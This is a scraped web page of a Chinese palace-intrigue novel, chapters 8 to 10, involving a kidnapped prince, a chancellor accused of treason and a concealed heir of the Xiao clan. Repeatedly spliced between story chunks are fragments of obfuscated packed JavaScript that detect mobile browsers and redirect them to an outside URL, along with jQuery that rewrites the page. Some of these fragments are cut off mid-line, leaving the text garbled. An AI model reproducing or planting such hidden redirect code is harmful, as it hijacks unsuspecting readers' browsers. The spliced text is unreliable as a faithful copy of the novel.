l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419226|168952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 常叙跟在后面,宋鹊被他放在床上。 柳祈朝常叙点了点头,他便站在了一边。 “师兄辛苦了,喝杯茶吧。”柳祈弯着笑眼将一杯热气腾腾的茶水递到她跟前。 沈韫接过,放在一旁。 他主动端茶?他会这么好心? “柳公子,”坐在另一边的晚娘开口“你要的人已经找到了,我要找的人什么时候才有消息?” 怀中的白猫叫了几声,覆面公子抬头,终于看见了坐在帘幔后的人。 “常叙。”柳祈道“你去帮我查查五年前是否有封信从华京送去北关,送信之人是何人?” 五年前,那时正是华京需要人手的时候,关系网、逃亡路线、万全之策,一切都是从那个时候开始布下的。 就连暗卫也是那个时候才从各地回到华京。 “送给北关的信?收信人是谁?” “许常,我的夫君。”晚娘道。 常叙听后十分肯定地说“暗卫中没有姓许的人。” “若他没做暗卫呢?我夫君只是普通商贩,不懂武功。” 常叙再次看向柳祈,询问他的意思。 柳祈点了点头,道“去找找吧,当年回华京的人那么多,不一定都做了暗卫。” “是。” 常叙走后房间内再次陷入死水般的沉寂,晚娘说要出去走走,剩下裴决不愿说话,梁昭不能说话。 好在沈韫能说上话。 “我们要在渭州耽误多久?” “快的话也许两三日便可离开。” “朝廷派来的人可是驸马。”她今日在书院外听到了,渭州的举人案交给同为读书人的驸马管辖。 等驸马一进了城,他们便更难活动了。 “沈姑娘不必担心,驸马此行是来查案的,他的注意力全都扑在书院的事上。何况北关那边应该还在找裴怜山的下落,李令则这人胆小如鼠,断不敢担起弄丢朝廷命官的罪责,他自会掩盖事实拖延时间。”他看向裴决和梁昭,道“只要他们二人不乱跑,我们便没有危险。” 沈姑娘?裴决惊讶地盯着沈韫。 束发,玄衣,腰佩短剑。 分明是男子扮相,可柳祈却唤她沈姑娘。 再细细看来,沈韫的眉目确实比寻常男子清秀,连身形也纤瘦一些。 特别是眼尾那颗红痣,如眼波溢出,倒真有几分女子的柔情。 沈韫竟是女人? 柳祈当真是找了一个好帮凶。 沈韫更担心的不是驸马。 如今已经过去了四日,她与建京的交易原本应该在四日前就已经完成,可现在她还被迫在这里与柳祈周旋。 她得在今日找个时机送信出去,好让那边知道她的情况。 “我要出去走走。”沈韫起身。 门刚被打开,柳祈也站起身来“师兄要留我一个人在这里?” 沈韫扫了眼屋内的三人,一个武官,一个皇子,还剩一个手无寸铁的绑匪。 如此场景,真是有趣。 她轻笑“柳公子害怕和两个人质独处?” “那倒不是,你就不担心我和梁昭单独待在一起?” 这倒是一点也不值得担心。 沈韫缓缓摇了摇头,用他惯会用的语气道“柳公子放心,杯中银汤,无论如何都翻不出杯口。” 8. 深恩 七日前。 陈竺的命案还未传到宫中时,坊间便流言四起。 渭州发生了一起奇案,上榜的举人在任职两个月后突然辞官,辞呈还未批复便暴毙府内,墙壁上写着举人陈竺前来索命。 可死者不正是中举上任的陈竺吗? 很快,官府就明白了这其中必然牵连权贵,这死者或许是冒名顶替了陈竺的位置。 此等大事不容小觑,官府立刻展开调查,大肆寻找那名叫陈竺的举人,可几日过去没有人出来替自己伸冤。 当朝的驸马可是一步步考取功名的状元郎,晟朝向来重视文人举子,若案子迟迟不结,他们脑袋上的乌纱帽可真没办法保住。 于是地方官府层层上报,最终传入朝廷。 而恰巧这个消息传来时华京刚发生了检举案,检举的是当朝丞相梅映雪通敌叛国。 状告者自裁,这桩案子查不到一丝线索,干净地可疑。 天子盛怒,朝堂之上无人敢言。 大殿内,百首低垂,似乎承受不起脑袋上官帽的重量。 “大理寺的人呢?为何让状告者死于望京楼下?这案子你们到底是查了还是没查!” “回陛下,大理寺并未接到此案。” “哦?意思是有人阻拦状告者报官?” 梁康成的意思显而易见,可那人告的是当今丞相,那是辅佐梁康成打江山的人,大殿内无人敢接话。 唯一与此事有牵连的人站了出来“陛下息怒,此案定有蹊跷,臣很快便能将贼子捉拿归案。” 哼,口气倒不小。 不过,为何如此笃定? “梅映雪,那个撞死在望京楼的人告的可是你,你如今却跟朕说捉拿贼子?贼子是何人?” “梧州有一个楚姓富商,此人定是富商之子楚南煜。” “梧州富商跟这件事怎会扯上关系?” 梅映雪叩首,道“恳请陛下给臣三日,待楚南煜入华京后一切都会真相大白。” “好。朕便给你三日,若三日后你拿不出证据来那就直接转交大理寺!” 三日后,一辆富丽堂皇的马车入了华京,从车上下来了一位编着发的年轻公子,发间系有银丝。 梅府。 “楚小公子,你还记得我是谁吗?”梅映雪问。 一身金丝绣衣的小公子扭头“奸佞之臣。” “我这等奸佞之臣在十一年前可救了你一命,如今你该还了吧?” “还?我哥说了,我的命谁也取不走。” “你哥?” 他并不记得当年那个富商还有孩子。 “我哥叫柳祈。” 柳、祈。 “来人!去柳家!” “梅大人,柳府无人,柳大人及家眷一个时辰前已经出城了。” 一个时辰,正是楚南煜入梅府的时候。 “梅大人!宫中出事了!四皇子不见了!” 奇,甚奇也。 一桩毫无征兆的检举案,一位宝马雕车带来的玉人,古怪消失的柳大人和八竿子打不着的四皇子。 这第一步棋走得真妙。 玉子落盘,执棋人眼开眉展。马车稳健,一路向南,玄衣公子回望华京,一想到梅映雪此时的表情他便觉得好笑。 一桩空穴来风的检举案,他只需安排一个人一张嘴,剩下的便留给梅映雪挣扎自证。 此案若是查出了线索那便坐实了他的反贼身份,可若是查不出那便更有趣了。 线索突然断得一干二净,谁会相信有权有势的梅丞相当真清白? 帝王之心向来多疑,一旦有了疑心便如决堤之水,梅映雪这座桥迟早要被吞没。 这是柳祈在华京落的第一子,便是要扰乱君臣之心。 得知这个消息时大理寺呈上来的案件调查卷还摆在面前,皇帝怒不可遏。 先是检举乱臣贼子,又是皇子失踪。 梅映雪自知如今难逃盛怒,说不定皇帝还会把皇子失踪的事一并怪罪在他的头上,于是他火速赶往宫中请罪。 “你倒是跟朕说说要请什么罪?” 梅映雪跪地俯首“十一年前臣两次犯下欺君罔上的大罪,望陛下责罚。” 梁康成大怒,质问道“两次?你当真是要当叛贼吗!” “陛下息怒,臣绝无二心。恳请陛下给臣一个解释的机会!” 梁康成气急攻心,摆了摆手示意他说。 “臣于十一年前听命负责斩杀萧氏余孽,可臣瞒着陛下留了萧氏幼子萧子因一命。萧子因之父萧既白乃臣多年挚友,臣实在不忍心看着故人之子惨死,于是欺君罔上换下了他。” “萧氏一族勾结敌国害死先皇,你竟然还念旧情?” “臣知道此事万万不该,请陛下降罪!” “那孽子如今在何处?” “在臣府中,正是臣的养子裴决。” 梁康成长吸一口气,沉声问“还有一桩呢?” “当年臣于后宫中见到一个孩子,八九岁,臣未及时禀告便擅自将那孩子送出了宫,如今那个孩子正是梧州的楚南煜,这次的检举案一定是他一手策划谋害老臣。” “你当年不是救了他吗,他为何要谋害你?” 梅映雪颤声道出了一个惊天秘密“因为他是先皇的七皇子。” 殿内,气氛凝固,几乎没有人敢呼吸。 梁康成跌坐在金銮上,问“你说什么?” “老臣犯下大错!当年老臣并不知道那是七皇子,误将皇子放出宫去。待老臣知道那孩子可能是皇子时,臣已经派人把他送去了梧州。臣不敢保证皇子在路上能安然无恙,恐遭灭顶之灾,于是隐瞒至今。但臣这十余载安插了眼线在楚家,确保皇子万无一失。如今皇子长成,怕是误以为臣当年故意将他送走因此对臣记恨在心,才编了这么一出戏。” 怪不得,怪不得当年清查皇室尸体时未发现穆妃的儿子。 梁康成闭上了眼,屏退左右。 “说吧,当年到底怎么放他走的?” 梅映雪咬了咬牙,声音微弱“禀陛下,臣当年于后宫中看见他,心生怜悯,遂放了他一条生路。” “梅映雪!”沉重的镇尺从台上扔出,砸在了他身边。 梁康成怒不可遏“你的两次恻隐之心如今将自己逼上了死路!” 梅映雪几乎要贴到地上了。 “臣知罪!可臣此次进宫还有一件事要禀告圣上!” “说。” “与四皇子一同不见的还有柳大人,臣从楚南煜口中得知柳大人之子和楚南煜关系密切,臣怀疑定是柳大人带走了皇子。” “立马将楚南煜带入宫中,派裴决去救回四皇子,如若他能成功救回那便算将功补过。可如若不能,你梅家、裴决还有那个楚南煜都去给四皇子陪葬!” “臣遵旨。” 返程的路似乎又像当年那般长,那个时候他是新帝的心腹,奉命前往刑场斩杀萧氏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419227|168952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回府时他一路用脚丈量,他早已记不清当年走了多少步才走到那个位置,但他依旧记得萧既白死前望向他的眼睛。 在这件事上他似乎错得不够彻底。 当年他便不应该救下萧子因养在身边,这样他也就不会陷入如今地步。 要当恶人便要做到底,要走一条路便要走到头。 梁康成说得不错,他年轻时的心慈手软终究在今天给了他一记重击。 他不该放过他们。 书房内。 梅映雪站在书案前,手指慢悠悠地拨弄着挂在笔架上的笔。 书房昏暗,他背对着光线,下垂的双肩仿佛在述说压在他身上的担子有多重。 “父亲。”裴决出声。 梅映雪转过身来,目光有些迟钝地落在他身上。 “父亲,陛下怎么说?” 梅映雪轻叹一口气,说“陛下盛怒,要我去找回四皇子。” “四皇子失踪跟父亲有何关系?陛下这是要将这事迁怒到您身上?” “算是吧,梅家也许到头了。” “不会的!”裴决急得往前迈了两步“我去找陛下申冤!那桩检举案我也去求大理寺查!” “已经不重要了,跟皇子失踪比起来一切都不重要。陛下给的唯一一条路就是由梅家找回皇子,将功抵过。” “那我去找四皇子。” 这孩子果真跟他父亲一个性情。 那股难言的情绪又涌上心头,梅映雪摆了摆手,背过身去。 “你去哪里找?你去了就更是死路一条。若找得到,你能否平安带着皇子回来?若找不到,那陛下该治你何罪?横竖都是死,不如听天由命。” “不行。”裴决果断回绝“您曾教过我无论何时只要心怀希翼就总会有绝处逢生的那一天。父亲,您护了我十一年,这一次,让我来护梅家。” 他早就猜到了,裴决一定会揽下这个担子。 “可这是死局,生机渺茫。” “儿子棋艺不精,但武术未必不敌,且让儿子一试。若成功则换梅府生机,若失败,儿子一人担下所有,定能让梅家全身而退。” 一刻钟后,一匹顶好的马从梅府出城,驾马的人是一个年轻气盛的小公子。 书房中只剩下梅映雪。 天彻底暗了下去,梅映雪也似乎终于把这件事想明白了。 他走出书房,亲自将楚南煜送入了宫中。 衣冠冢前,梅映雪站了许久。 “长亭,这么久了,我还会梦见你。梦见那年我们在桃花树下,你意气风发,告诉我他日你必要做一名骁勇善战的大将军,我答应你会做你的军师。梦里的你依旧年少,可我已两鬓斑白。那年的承诺是我食言了。” “长亭,你唯一的孩子已经长大,继承你的遗志,入仕做了武官。我知道总有一天他会知道一切真相,总有一天我会死在他的刀下,就如当年你死在我的面前一样。你也许永远也不能理解我,可这就是我选的路。长亭,你可还恨我?” 一阵风拂过,霜白的发丝被吹动,梅映雪闭上了眼,恍惚间又回到了那天。 桃花满枝,清风拂面,两个少年心怀远志,憧憬着未来的路。 可如今,桃树未发,风霜扑面,只剩下一个半百老人和一座孤坟。 再也回不去了。 长亭,我们再也回不去那年了。 “长亭,你恨我吧,他日黄泉相见,我会向你赎罪。” 9. 浑水 宫中,勤政殿。 梁康成坐于高台之上,烛光跃影,照得那把金銮稀奇得很。 楚南煜阔步入殿,还未站稳便笑盈盈地开口“皇叔。” 台上之人放下手中的朱笔,抬起眼皮看着他。 殿内的烛光将两人的面容照得清晰,一个脸色阴沉,一个眉开眼笑。 梁康成示意左右退下,问“你既知道我是你皇叔为何迟迟不回华京来认亲?” 楚南煜一本正经地说“还不是因为梅映雪派人看着我,我想回来也没办法啊。” 真是笑话,他能计划让梅映雪亲自派人接他入京,还有什么是他想办却办不成的。 “检举案是你做的吗?” 楚南煜一副十分惊讶的表情“我可连那个人都不认识。” “这难道不是你给自己想的回华京的法子吗?” “当然不是。我原本就不打算回华京的,在梧州做一个富公子多好。你看,我现在回来了立马就被拉来问责了,以后说不定也出不去这皇宫了,我为何要自投罗网把自己关起来呢?” 真是好巧一张嘴。 梁康成不想与他周旋“楚南煜,你是死是活单凭朕一句话,是皇子还是梧州来的楚南煜也全凭朕意,看在兄长的份上朕暂且留你一命。可你若是不愿意配合,那便是自寻死路。” “那是自然。如今生杀夺予的大权都在皇叔手里,我自然要配合。” 他始终笑着,乖巧的模样让人忍不住怀疑,这一切他到底知情还是不知情。 可他是先帝的幼子,这么多年,他当真甘愿待在梧州做一个富商的儿子? “柳祈和你什么关系?为何要绑走四皇子?” “柳祈是我兄长。” “胡说!”梁康成拍案怒喝“你的兄长早就死在了宫中!” 话音刚落他便惊悟:难道当年从宫中逃出去的不止他一个? 要是这样那就麻烦了。 楚南煜开口,打消了他的疑虑“是义兄,义兄待我很好。” “那绑架四皇子也是你的主意了?” “不是!我不知道义兄想做什么,他只是告诉了我三日后有人会来接我入华京,到时候我就跟着走。” 他说的话不能全信。 “那这么说他现在在哪儿你也不知道?” “当然。不过义兄说了,只要我活着四皇子就会活着。” 一个皇子换一个皇子,双方都将脖颈露出来伸到对方刀下,谁也不敢轻举妄动。 梁康成似乎沉思了许久,突然发笑“你义兄可真真算错了。你以为朕只有那一个皇子吗?老四死了还有别的皇子,他妄想以此来钳制朕,真是天大的笑话。” 楚南煜也跟着笑,这一切确实不如表面上看着这么简单。 毕竟是从十一年前就埋下的因,长了十余年怎么着也该成一棵参天大树了。 楚南煜被送到庆宁宫与其他皇子同住,无论去哪儿总有人寸步不离地守着。说是庆宁宫,其实更像一间牢狱。 听闻皇后的中辰宫中今日有家宴,下嫁的长公主今日回宫里赴宴,与她一同的还有驸马符珩。 驸马自与公主成婚以来便一直忙于大理寺的事,已是许久没有来过勤政殿了。 梁康成今日穿了一件紫色袍子,早早在勤政殿等着他。 “臣参见陛下。” 梁康成抬手示意他起身“驸马近来如何?” “回陛下,臣一切安好。” “你可知朕今日为何召你来?” “陛下可是忧心检举案一事?” 梁康成点了点头“大理寺卿告诉朕查不出来,你觉得呢?” “陈大人所言非虚,此案当真查不出。检举之人已死,既查不出梅丞相有何反叛之心,也查不出是何人主使又有何冤屈。” “哦?这么说这倒成了一桩悬案?” 符珩将头埋得更低。 梁康成见状便不打算再问什么了,看样子这位大理寺少卿也说不出什么别的话来。 “罢了。今日不处理政事,叫你入宫只是为了吃顿便饭,不谈这些了。” “是。”符珩这才站直了身子。 “明爻呢?” “殿下先去后宫了。” “那走吧,你随朕一同去皇后的中辰宫用膳。” 中辰宫离勤政殿不算近,但梁康成总爱走路去,一路上会经过御花园,那是他幼时最爱的地方,也是他和皇后初见的地方。 “如今已入冬月,天愈发冷了,明爻冬日里怕冷,公主府可有足够的暖盆?” “回陛下,每逢入冬臣都让……” 符珩的话尚未说完,梁康成便打断了他“今日是家宴,只有我们一家人,不用拘礼。” “是。下婿早已命人准备好了暖盆和汤婆子,狐狸毛裘也做了好几件新的备着。” “你与明爻成婚以来待明爻也是极好的,明爻嫁给你朕最放心。” “想起来去年也是这个时候,朕给你们拟定婚事,于冬日大雪天完婚。时间真快,转眼便去了一载,朕又老了一岁。日后你和明爻的日子还长,明爻是嫡长公主,自小娇惯,若有不足之处你多包容,朕为人父,自是希望子女婚姻美满永喜永乐。” “父皇放心,下婿定不会让殿下受半点委屈。” “当年你殿试夺魁,朕拿你的诗篇给明爻读,明爻一眼便看中了你的才情。仅仅半年,你便在大理寺升到了少卿的位置,朕从未怀疑过你的能力。即便你在婚后还想继续任职,朕也听明爻的劝应允了。可你始终要谨记,你是朕女儿的夫君,和朕是一家人,你与朕不仅是君臣。” 符珩听懂了。 梁康成的意思是,朝堂之上,他应当站在天家那一边。 “下婿明白,下婿一定倾尽所能为父皇分忧。” “那你以为梅映雪一事是空穴来风还是确有其事?” 家宴只是幌子,梁康成急切地想要问出困扰他几天的答案。 “下婿对梅丞相不甚了解,但此事很有可能是楚南煜设计,目的是为了回华京。” 梁康成点了点头“朕也有此猜想。可梅映雪这十余载一直身居高位,朕难免会担心。” 人一旦起了疑心便如风中野火,越烧越旺。 梅映雪跟着他快二十年了,从皇子到皇帝,梅映雪确实是他的得力干将。但他也给了梅映雪独一份的信任,丞相之位,荣华富贵,他都给了梅映雪,可怕就怕人心不足。 还未走进正殿内便有一阵茶香,一闻便能知道,这是碧玉醉露茶。 明爻到时恰巧第一壶茶已经沏好。 “儿臣参见母后。” 皇后赶紧将她扶起来“既是来见母后的又何必多礼。今日可是驸马同你一同来的?” “是,夫君先去了勤政殿,父皇好像有事要同他讲。” 皇后点了点头,问“近来如何?公主府那么大,你一人操持可还习惯?” “母后宽心,儿臣一切都好。何况公主府的事并非儿臣一人操持,夫君也会帮儿臣。” “那便好,一切都好就行。” 皇后给她倒了一盏茶,递到她面前。 明爻接过放在鼻下闻了闻,她自小便喜欢这个味道。 “闻着这味道倒想起来儿臣少时常于这宫中玩耍,母后总爱煮茶给儿臣喝。” “是啊,一晃好些年便过去了,这宫中还是一如往日,这里的一砖一瓦都跟你幼时一样,可你却不像幼时那样时刻陪在我身边了。”皇后神色黯然,道“我还真是有些怀念那个时候的日子,你在身边吵吵闹闹,昭儿也在。如今这里愈发像一座牢笼了。” “母后,您又胡思乱想了。昨日太医不是说了吗,您要宽心些凤体才会无恙,儿臣如今可以日日来陪着您,您就别多想了。” “母后知道,母后只是觉得近来有些糊涂了。有时候路过你小时候喜欢的梅树时还会谴人去将你抱来,可她们却说你早就出嫁离宫了。母后也不清楚自己是怎么了,也许是老了吧。” “母后,儿臣知道您因为阿昭的事难过,父皇已经派了追兵去救回阿昭,您要保重身体平平安安地等着阿昭回来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419228|168952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>皇后轻拍着明爻的手,示意她不用担心。 “你放心,只要你和昭儿还在,母后是断不可能让自己出任何事的。不聊母后的事了,你与驸马成婚也快一年了,打算何时为公主府添个子嗣啊?” “夫君与我都还年轻,子嗣之事便顺其自然吧。再说大理寺的差事也确实忙碌,夫君这几日都没怎么合眼。” “早说了让他辞官好好地当一个驸马,你父皇给他安排一个轻松的官职挂着岂不是更好?他倒是一心想要留在大理寺,你也是,一个劲儿地帮他说话。你到底怎么想的?” “当初父皇和母后不就是看中了他的能力吗,让一个有才之士辞官岂不是可惜了。况且夫君志在朝野,有心想为父皇分忧,我既是他的夫人自要竭尽所能辅助夫君。” “好好好,你啊总是为他说话,母后都听你的。” 话音刚落,梁康成的声音便传了进来“还是皇后宫中的茶闻着最舒心。” 母女二人起身欲行礼,却被梁康成拦住了“一家人何必如此。” “陛下来得可真巧,这茶刚煮好,快喝一杯暖暖身子。” 皇后倒了两杯茶,一杯递给梁康成,另一杯则由明爻递给符珩。 梁康成一饮而尽,笑道“果真好喝,朕都快喝不惯别的茶了。” 皇后笑着让下人端了些茶点来“离午膳尚早,先尝尝这些茶点如何?” 梁康成拿了一块放进嘴里,赞道“这莲子糕味道不错,与之前的味道大有不同。” “陛下已好久没来臣妾宫中了,还能记得莲子糕的味道?” “那是自然,皇后宫中的莲子糕最合朕口味。朕这段时间忙于检举案一事,想来皇后宫中吃口莲子糕的时间都没有。” 皇后闻言便皱起了眉“那案子可查出来什么了?” 梁康成摇头“梅映雪毫无破绽。可人都有贪念,越是查不出来便越可疑,朕不知道还该不该信任他。” “可梅映雪辅佐陛下多年,荣华富贵陛下都未曾薄待他,他有何不满的呢?” “皇后也觉得朕应该相信他?” “臣妾拙见,认为陛下可以相信他。” “明爻觉得呢?”梁康成看向明爻。 “儿臣也认为用人不疑。” 梁康成沉思了片刻,道“朕也想相信他。可他在十一年前便骗了朕两次,如此狼子野心,朕实觉可怕。” 皇后惊讶“什么?他竟然会是这样的人?” 十一年前不正是建京受困的那年吗?如此,这人怕是不宜再用。 “当年萧氏一案,他私自救下余孽,抚养至今,甚至还养在朕眼皮底下。” “萧氏的人?是谁?” “丞相府的养子裴决,正是萧氏后人萧子因。” 明爻一听便紧张了起来“父皇不是派裴大人去救回阿昭吗?裴大人既是如此身份,父皇为何要派他去?” “念在梅映雪辅佐朕多年的情分上,朕想给他一个将功补过的机会,若裴决能救回昭儿便免他死罪,若他不能,朕便没有理由再留下梅家人了。” 话是如此,可符珩清楚这一切不过是梁康成的算计,无论皇子是否能平安回来,梅家总有逃脱不掉的罪名。 搏帝王之心犹如行走于悬崖峭壁,稍有不慎便坠入崖底尸骨无存。 “那有昭儿的消息了吗?” “暂时没有。不过朕让大理寺彻查柳祈,大理寺查的如何?”梁康成转头看向符珩。 符珩道“柳祈是太傅之子,太傅柳介宣是二臣,曾主先皇,不过只是一个小官。柳家是清白之家,暂时没有可疑的线索。” 梁康成怒火中烧“二臣?朕当年就说过先帝之臣一律不用,可梅映雪是如何劝朕的,如今二臣之子将朕的皇子劫走,谁知道他们想要做什么!” “父皇息怒,既然楚南煜还在皇宫,那柳祈也不会伤害四皇子。” “难道朕真的要同那群小儿周旋吗?朕已经加派人手去追查昭儿的下落,一旦寻到则将贼子就地正法!朝堂之上竟还留着这样的祸害,朕看也是时候肃清朝野了!” 10. 猜疑 符珩于第二日领命前往渭州,离开时明爻送他出城。 马车赶了两天一夜,终于抵达渭州地界。 “大人,我们是否在此处休整片刻?” 符珩撩起幕帘,一只灰鸽从城内飞出,他道“不用了,直接进城。” 沈韫送出消息后便折返回了客栈,街上突然出现一辆马车,看样子是刚进城。 她特意留心了一下。 马车是雕花檀木,马匹是上等的,车夫身姿挺拔,腰佩兵刃。 车内之人并非闲人。 待她回到客栈时,柳祈等在门口。 “师兄去哪儿了?怎么去了这么久?”柳祈弯起那双笑眼。 “四处走了走。” 撒谎。 他当然知道她是去干嘛了,不过这并不碍事,所以他可以睁一只眼闭一只眼。 “你就让裴决和梁昭单独待在一起?”沈韫问。 “晚娘回来了,她和梁昭单独在房内。” “那你在这儿干嘛?” “既然我与师兄已是盟友,有件事我便不瞒着师兄了。”柳祈启唇,道“裴怜山便是萧家遗孤萧子因。” “你为何如此笃定?” “因为我了解梅映雪。那时萧子因年幼,他一定不会让他死。” 他见过梅映雪心软的样子,倒像一个好人。 沈韫仔细观察他脸上的表情,丝毫没有恨意。 于是她问“看你的意思是并不打算杀他了?” “杀,当然要杀。可他现在还有用处。利用他萧子因的身份,让他站到我们这边,和我们一起对付朝廷,师兄觉得如何?” 裴决是梅映雪的义子,梁昭是梁康成的儿子,他手中捏着的是他要对付的两个人的命脉。 这局面的走向真是越来越叫人喜欢了。 沈韫想了想,说“我可以帮你,可我有一个条件。” “你说。” “解药我得拿在手里。” “不行,这对我不利。” “柳望月,解药若是一直在你手里我便一直被动,这对我也不利。” “可师兄不愿意相信我,拿到了解药你还会和我合作吗?” “我会将你送上去瓜州的船,梁昭我要带走,解药我也要拿到手。” 柳祈低笑“这世上没有这样亏本的买卖。” “看来我们当真是当不成盟友。” “沈姑娘,我想我已经说得很明白了。你我之间并非我有求于你,而是你需要我。只要你一日在意梁昭的死活,那我便有一日的筹码。我不可能拿这个筹码去换你出尔反尔的配合。” “可我也不想浪费时间在这里周旋。”沈韫态度坚定“我们各退一步,解药你给我一半,五日内我将你安全送到瓜州。” “好。不过一半解药要在五日后才能给你。” 再耽误五天,拿到一半解药,她将皇子交出去自会有人能救他的命。 到时候她再杀了萧子因替家人报仇,华京的事,就再也跟她没有半点关系了。 “你想让我怎么帮你?” “逼宋鹊承认裴决便是萧子因。” 沈韫觉得这话简直可笑“他怎么承认?若裴决真是萧子因他定会帮着隐瞒。” 柳祈摇了摇头,轻笑“我只是要你逼他,而并非要他明确认下,留点白反而会更让人深信不疑。” 裴决的身份不管是真还是假都不重要,重要的是他要挑起裴决的猜疑,让他甘愿站队。 楼上,宋鹊已经醒了,和他待在一起的只有裴决。 柳祈和沈韫回到房间时他们两人一个坐着一个站着,谁也没有搭理谁。 柳祈走到宋鹊面前,道“宋先生,今日有些晚了,我便不兜圈子了。我此次请你过来是想问你有关萧家的事。” 宋鹊将他打量了一遍,不以为意“公子这般年轻便行事不堪,日后怕不是要走旁门左道?” “旁门左道有何不可?只要是路,只要能走到头,窄路也好宽途也罢,我只要结果不计过程。” “小公子,老夫心善,提醒你一句,邪不压正,莫要为了己欲不择手段。” 柳祈轻笑“这些话先生还是留着讲给你的学生听吧。我只想知道萧家到底是不是逆贼?” 这么多年,他是第一个这么追问萧家的人。 可他的目的何在? “萧家的事我不知道。你是谁?为何对这件事如此感兴趣?” “是我先问的,你不应该先回答我吗?萧家到底是不是逆贼?” 宋鹊不愿作答。 柳祈嗤笑道“看来就是逆贼。宋先生你难道也是萧家的人?” “胡说!当年的事并非事实!何况论资排辈萧将军也是长辈,岂轮得到你这小儿信口胡诌!” “我是不是信口胡诌大家都知道,萧氏通敌叛国的罪名已经盖棺定论,先生是想为萧家翻案?” 什么通敌叛国?什么盖棺定论?这些通通都是狗屁! 世人总情愿做成群的鹜,不究真相不辨是非,人云亦云亦步亦趋,好似这样他们才能顺着大势而活。 可他绝不要做那只鹜。 萧家的冤屈只有他知晓,他得让一切得见青天。 “世上有千百口,一人信口胡言便会有十人百人跟着传谣。一张嘴便可毁人清誉,甚至让百余口人丧命!到底为何,世人不肯睁开眼看看黑白?萧将军驻守北关八年,可曾有过半点失职?北关百姓大多受过将军恩惠,到底为何要恩将仇报!大家都愿意做糊涂人,无妄之灾没有降临到自己头上便都只想做看客。可人心不该是这样凉薄!” “我不知道当年将军为何突然撤兵,可断不会是因为朝廷说的通敌叛国。那一战,将军做好了必死的准备,甚至连绝笔都写好了。” 柳祈问“你为何会知道这些?你与萧家是何干系?” “老夫也曾受过萧家恩惠,萧将军待老夫不薄,老夫深信萧将军的为人。” “既然萧既白于你有恩,当年萧家被抄,你可曾念着恩情救过萧家的人?” 他到底想问什么? 宋鹊警惕地看着柳祈,怒道“老夫只知道萧将军含冤惨死,萧家不该背负骂名,其余的老夫什么都不知道!” 看样子柳祈是问不出什么了。 可宋鹊一定要成为那个关键的“证据”,裴决也一定是萧子因,这样裴决才会心甘情愿入局,柳祈的计划才能推动。 沈韫不想多等,解决了这里的事她还得赶去建京复命。 于是她道“宋先生,你难道希望他一辈子都活在骂名之下?” “萧家没有活人,他们全都已经死了!全都死了!”宋鹊情绪激动,双目湿红,颤声道“一百四十二口,一百四十二条命,全都死于莫须有的罪!” “是吗?那萧子因也死了?”沈韫问。 话音刚落,宋鹊抬起眼泪纵横的脸,惊讶地看着沈韫。 半晌,才缓缓吐出两个字“死了。” “撒谎。”沈韫抽出短剑,眨眼间的功夫便将剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419229|168952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抵在了裴决脖子上,道“你当真要我杀了他?” 她不确定裴决的身份,可昨日柳祈说的不无道理。 挚友满门抄斩,不久后梅府突然多了一个养尊处优的养子。 这着实可疑。 裴决的功夫不敌沈韫,被剑架在脖子上时他竟来不及反应。 “你在胡说什么!我不是萧子因!” 沈韫冷声道“闭嘴。” “这出闹剧到底还要做到什么地步?我劝你们趁早收手吧!萧家是反贼,你们如今对他们喊打喊杀,难道也忘了自己的身份了吗!” 沈韫挑眉,嘴角噙笑“你是在帮萧家说话?” “我不会帮乱臣贼子说话!沈怀珠,你当真放着生路不走,要和柳望月走那条走不通的死路吗!” “我不跟任何人同路。我只要公道,只要报仇雪恨。而萧家,就是我最大的仇人。” “我不是萧家的人。沈怀珠,若你识大局便收手与我一起押回柳祈,朝廷并不知道你的存在,你可以当一个功臣,从今往后,荣华富贵享之不尽。” 他给的条件真是越来越诱人了。 可恰巧她想要的只有柳祈给得起。 “裴大人当着我的面策反我的人,是不是太过自负了?” “柳望月,你和你的老师到底想要什么?” “我要下一盘棋,一盘贼子和天家的棋。” 裴决冷笑一声“你当真疯了吗?” 房内几人剑拔弩张,宋鹊听得一知半解,只顾着盯着裴决的那张脸。 他早已认不出幼公子的模样了,可他知道幼公子一定还活着。 眼前这个人,眼前这个人会是幼公子吗? “我不知道幼公子在哪儿。”他道“当年我确实救下了他,趁他们休整我将幼公子带走交给了一个人,那个人说会抚养公子长大,我便信了。之后,我再也没有幼公子的消息。” 沈韫不信“你会随便将萧子因交给别人?” 